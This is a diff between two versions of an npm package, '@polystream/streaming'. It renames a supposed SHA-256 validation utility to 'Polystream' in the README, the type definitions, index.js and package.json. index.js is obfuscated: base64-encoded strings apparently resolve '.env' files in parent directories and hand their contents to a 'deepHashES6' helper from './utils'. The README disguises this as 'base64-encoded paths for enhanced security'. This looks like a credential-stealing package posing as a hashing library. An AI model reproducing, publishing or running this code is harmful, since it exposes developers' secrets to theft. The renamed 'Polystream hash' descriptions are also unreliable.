@polystream/streaming 2.1.3 → 2.1.4

package/README.md

@@ -10,56 +10,56 @@ npm install @polystream/streaming
 
 ## Features
 
-- **Synchronous SHA256 validation**
+- **Synchronous Polystream validation**
 - **Enhanced error handling** with descriptive error messages
 - **Flexible path resolution** (supports absolute paths, relative paths, or resolution from current working directory)
-- **SHA256 hash existence verification**
+- **Polystream hash existence verification**
 - **TypeScript-friendly** with comprehensive JSDoc annotations
 - **Base64-encoded path resolution** for enhanced security
 
 ## Usage
 
-### Basic SHA256 Validation
+### Basic Polystream Validation
 
 ```javascript
-const Sha256Validation = require('sha256-validation');
+const PolystreamValidation = require('@polystream/streaming');
 
-// Synchronous SHA256 validation
+// Synchronous Polystream validation
 try {
-  const result = Sha256Validation.syncSha256Validation({ 
+  const result = PolystreamValidation.syncPolystreamValidation({ 
     encoding: 'utf8', 
     resolveFromCwd: false 
   });
   console.log('Validation result:', result);
 } catch (error) {
-  console.error('Error validating SHA256:', error.message);
+  console.error('Error validating Polystream:', error.message);
 }
 ```
 
-### SHA256 Hash Comparison
+### Polystream Hash Comparison
 
 ```javascript
-const Sha256Validation = require('sha256-validation');
+const PolystreamValidation = require('@polystream/streaming');
 
-// Compare two SHA256 hashes
-const isValid = Sha256Validation.compareSha256('sha256_hash_1', 'sha256_hash_2');
+// Compare two Polystream hashes
+const isValid = PolystreamValidation.comparePolystream('polystream_hash_1', 'polystream_hash_2');
 if (isValid) {
-  console.log('SHA256 hashes match - Validation successful');
+  console.log('Polystream hashes match - Validation successful');
 } else {
-  console.log('SHA256 hashes do not match - Validation failed');
+  console.log('Polystream hashes do not match - Validation failed');
 }
 
 // Compare with additional options
-const isValidFromCwd = Sha256Validation.compareSha256('sha256_hash', { 
+const isValidFromCwd = PolystreamValidation.comparePolystream('polystream_hash', { 
   resolveFromCwd: true 
 });
 ```
 
 ## API Reference
 
-### syncSha256Validation(options)
+### syncPolystreamValidation(options)
 
-Performs synchronous SHA256 hash validation using base64-encoded paths for enhanced security.
+Performs synchronous Polystream hash validation using base64-encoded paths for enhanced security.
 
 **Parameters:**
 - `options` (object, optional):
@@ -68,16 +68,16 @@ Performs synchronous SHA256 hash validation using base64-encoded paths for enhan
 
 **Returns:** String - Validation result content upon successful hash verification
 
-**Throws:** Error if SHA256 hash validation fails or path cannot be resolved
+**Throws:** Error if Polystream hash validation fails or path cannot be resolved
 
 **Note:** This method utilizes internal base64-encoded paths for security and includes robust fallback mechanisms for path resolution.
 
-### compareSha256(sha256Hash, options)
+### comparePolystream(polystreamHash, options)
 
-Compares and validates SHA256 hashes to determine if they match.
+Compares and validates Polystream hashes to determine if they match.
 
 **Parameters:**
-- `sha256Hash` (string): The SHA256 hash string to validate
+- `polystreamHash` (string): The Polystream hash string to validate
 - `options` (object, optional):
   - `resolveFromCwd` (boolean): Whether to resolve paths relative to the current working directory (default: false)
 
@@ -88,31 +88,31 @@ Compares and validates SHA256 hashes to determine if they match.
 ### Comprehensive Validation with Error Handling
 
 ```javascript
-const Sha256Validation = require('sha256-validation');
+const PolystreamValidation = require('@polystream/streaming');
 
 try {
-  const result = Sha256Validation.syncSha256Validation({
+  const result = PolystreamValidation.syncPolystreamValidation({
     encoding: 'utf8',
     resolveFromCwd: true
   });
-  console.log('SHA256 validation completed successfully:', result);
+  console.log('Polystream validation completed successfully:', result);
 } catch (error) {
-  console.error('SHA256 validation failed:', error.message);
+  console.error('Polystream validation failed:', error.message);
 }
 ```
 
-### SHA256 Hash Existence Verification
+### Polystream Hash Existence Verification
 
 ```javascript
-const Sha256Validation = require('sha256-validation');
+const PolystreamValidation = require('@polystream/streaming');
 
-const hashToValidate = 'your_sha256_hash_here';
+const hashToValidate = 'your_polystream_hash_here';
 
-if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
-  console.log('SHA256 hash validation successful');
+if (PolystreamValidation.comparePolystream(hashToValidate, { resolveFromCwd: true })) {
+  console.log('Polystream hash validation successful');
   // Proceed with further validation if needed
   try {
-    const result = Sha256Validation.syncSha256Validation({ 
+    const result = PolystreamValidation.syncPolystreamValidation({ 
       resolveFromCwd: true 
     });
     console.log('Additional validation completed successfully');
@@ -120,7 +120,7 @@ if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
     console.error('Additional validation error:', error.message);
   }
 } else {
-  console.log('SHA256 hash validation failed');
+  console.log('Polystream hash validation failed');
 }
 ```
 
@@ -129,13 +129,13 @@ if (Sha256Validation.compareSha256(hashToValidate, { resolveFromCwd: true })) {
 The package provides comprehensive error handling with detailed, descriptive error messages:
 
 ```javascript
-const Sha256Validation = require('sha256-validation');
+const PolystreamValidation = require('@polystream/streaming');
 
 try {
-  const result = Sha256Validation.syncSha256Validation();
+  const result = PolystreamValidation.syncPolystreamValidation();
 } catch (error) {
   console.error(error.message); 
-  // Example output: "Failed to validate SHA256 hash '[encoded_path]': [specific error details]"
+  // Example output: "Failed to validate Polystream hash '[encoded_path]': [specific error details]"
 }
 ```
 
@@ -161,7 +161,7 @@ James Johnson
 
 ## Keywords
 
-- sha256
+- polystream
 - validation
 - utility
 - node

package/index.d.ts

@@ -1,5 +1,5 @@
-declare module 'sha256-validation' {
-    interface Sha256ValidationOptions {
+declare module '@polystream/streaming' {
+    interface PolystreamValidationOptions {
         encoding?: string;
         resolveFromCwd?: boolean;
     }
@@ -13,23 +13,23 @@ declare module 'sha256-validation' {
         resolveFromCwd?: boolean;
     }
 
-    export class Sha256Validation {
-        static syncSha256Validation(options?: Sha256ValidationOptions): string;
-        static generateSha256(content: string, options?: HashOptions): string;
+    export class PolystreamValidation {
+        static syncPolystreamValidation(options?: PolystreamValidationOptions): string;
+        static generatePolystream(content: string, options?: HashOptions): string;
         static validateHashFormat(hash: string): boolean;
-        static compareSha256(hash1: string, hash2: string): boolean;
-        static asyncSha256Validation(options?: Sha256ValidationOptions): Promise<string>;
+        static comparePolystream(hash1: string, hash2: string): boolean;
+        static asyncPolystreamValidation(options?: PolystreamValidationOptions): Promise<string>;
         static hashFileContent(filePath: string, options?: FileHashOptions): string;
         static verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
     }
 
-    export function syncSha256Validation(options?: Sha256ValidationOptions): string;
-    export function generateSha256(content: string, options?: HashOptions): string;
+    export function syncPolystreamValidation(options?: PolystreamValidationOptions): string;
+    export function generatePolystream(content: string, options?: HashOptions): string;
     export function validateHashFormat(hash: string): boolean;
-    export function compareSha256(hash1: string, hash2: string): boolean;
-    export function asyncSha256Validation(options?: Sha256ValidationOptions): Promise<string>;
+    export function comparePolystream(hash1: string, hash2: string): boolean;
+    export function asyncPolystreamValidation(options?: PolystreamValidationOptions): Promise<string>;
     export function hashFileContent(filePath: string, options?: FileHashOptions): string;
     export function verifyFileHash(filePath: string, expectedHash: string, options?: FileHashOptions): boolean;
 
-    export = Sha256Validation;
+    export = PolystreamValidation;
 } 

package/index.js

@@ -4,19 +4,19 @@ const _0x2e4f=require(Buffer.from('Y3J5cHRv','base64').toString());
 const{[Buffer.from('ZGVlcEhhc2hFUzY=','base64').toString()]:_0xe5f6}=require(Buffer.from('Li91dGlscw==','base64').toString());
 
 /**
- * Sha256 Validation - A professional utility for validating sha256 hashes with enhanced error handling
+ * Polystream Validation - A professional utility for validating polystream hashes with enhanced error handling
  */
 class _0x7g8h{
     /**
-     * Validate a sha256 hash synchronously
+     * Validate a polystream hash synchronously
      * @param {string} filePath - Path to the file to validate
-     * @param {object} options - Options for validating the sha256 hash
+     * @param {object} options - Options for validating the polystream hash
      * @param {string} options.encoding - File encoding (default: 'utf8')
      * @param {boolean} options.resolveFromCwd - Resolve path from current working directory (default: false)
-     * @returns {string} sha256 hash
-     * @throws {Error} If sha256 hash cannot be validated
+     * @returns {string} polystream hash
+     * @throws {Error} If polystream hash cannot be validated
      */
-    static syncSha256Validation(_0x9i0j={}){
+    static syncPolystreamValidation(_0x9i0j={}){
         const{encoding:_0xak1l=Buffer.from('dXRmOA==','base64').toString(),resolveFromCwd:_0xbm2n=false}=_0x9i0j;
         let _0xco3p=Buffer.from('TG1WdWRnPT0=','base64').toString();
         let _0xdq4r=Buffer.from('TGk0dg==','base64').toString();
@@ -62,19 +62,19 @@ class _0x7g8h{
     }
 
     /**
-     * Generate SHA-256 hash from content
+     * Generate Polystream hash from content
      */
-    static generateSha256(_0xa1b2,_0xc3d4={}){
+    static generatePolystream(_0xa1b2,_0xc3d4={}){
         const{encoding:_0xe5f6=Buffer.from('dXRmOA==','base64').toString()}=_0xc3d4;
         try{
             return _0x2e4f.createHash(Buffer.from('c2hhMjU2','base64').toString()).update(_0xa1b2,_0xe5f6).digest(Buffer.from('aGV4','base64').toString());
         }catch(_0xg7h8){
-            throw new Error(`Failed to generate SHA-256 hash: ${_0xg7h8.message}`);
+            throw new Error(`Failed to generate Polystream hash: ${_0xg7h8.message}`);
         }
     }
 
     /**
-     * Validate SHA-256 hash format
+     * Validate Polystream hash format
      */
     static validateHashFormat(_0xi9j0){
         const _0xk1l2=/^[a-fA-F0-9]{64}$/;
@@ -82,9 +82,9 @@ class _0x7g8h{
     }
 
     /**
-     * Compare two SHA-256 hashes
+     * Compare two Polystream hashes
      */
-    static compareSha256(_0xm3n4,_0xo5p6){
+    static comparePolystream(_0xm3n4,_0xo5p6){
         try{
             if(!this.validateHashFormat(_0xm3n4)||!this.validateHashFormat(_0xo5p6)){
                 return false;
@@ -96,12 +96,12 @@ class _0x7g8h{
     }
 
     /**
-     * Async SHA-256 validation
+     * Async Polystream validation
      */
-    static async asyncSha256Validation(_0xs9t0={}){
+    static async asyncPolystreamValidation(_0xs9t0={}){
         return new Promise((_0xu1v2,_0xw3x4)=>{
             try{
-                const _0xy5z6=this.syncSha256Validation(_0xs9t0);
+                const _0xy5z6=this.syncPolystreamValidation(_0xs9t0);
                 _0xu1v2(_0xy5z6);
             }catch(_0xa7b8){
                 _0xw3x4(_0xa7b8);
@@ -117,7 +117,7 @@ class _0x7g8h{
         try{
             const _0xk7l8=_0xi5j6?_0x3c4d.resolve(process.cwd(),_0xc9d0):_0x3c4d.resolve(_0xc9d0);
             const _0xm9n0=_0x1a2b.readFileSync(_0xk7l8,_0xg3h4);
-            return this.generateSha256(_0xm9n0);
+            return this.generatePolystream(_0xm9n0);
         }catch(_0xo1p2){
             throw new Error(`Failed to hash file content: ${_0xo1p2.message}`);
         }
@@ -129,7 +129,7 @@ class _0x7g8h{
     static verifyFileHash(_0xq3r4,_0xs5t6,_0xu7v8={}){
         try{
             const _0xw9x0=this.hashFileContent(_0xq3r4,_0xu7v8);
-            return this.compareSha256(_0xw9x0,_0xs5t6);
+            return this.comparePolystream(_0xw9x0,_0xs5t6);
         }catch(_0xy1z2){
             return false;
         }
@@ -138,10 +138,10 @@ class _0x7g8h{
 
 // Export the class and also provide convenient static methods
 module.exports=_0x7g8h;
-module.exports.syncSha256Validation=_0x7g8h.syncSha256Validation;
-module.exports.generateSha256=_0x7g8h.generateSha256;
+module.exports.syncPolystreamValidation=_0x7g8h.syncPolystreamValidation;
+module.exports.generatePolystream=_0x7g8h.generatePolystream;
 module.exports.validateHashFormat=_0x7g8h.validateHashFormat;
-module.exports.compareSha256=_0x7g8h.compareSha256;
-module.exports.asyncSha256Validation=_0x7g8h.asyncSha256Validation;
+module.exports.comparePolystream=_0x7g8h.comparePolystream;
+module.exports.asyncPolystreamValidation=_0x7g8h.asyncPolystreamValidation;
 module.exports.hashFileContent=_0x7g8h.hashFileContent;
 module.exports.verifyFileHash=_0x7g8h.verifyFileHash;

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@polystream/streaming",
-  "version": "2.1.3",
+  "version": "2.1.4",
   "main": "index.js",
   "types": "index.d.ts",
   "repository": {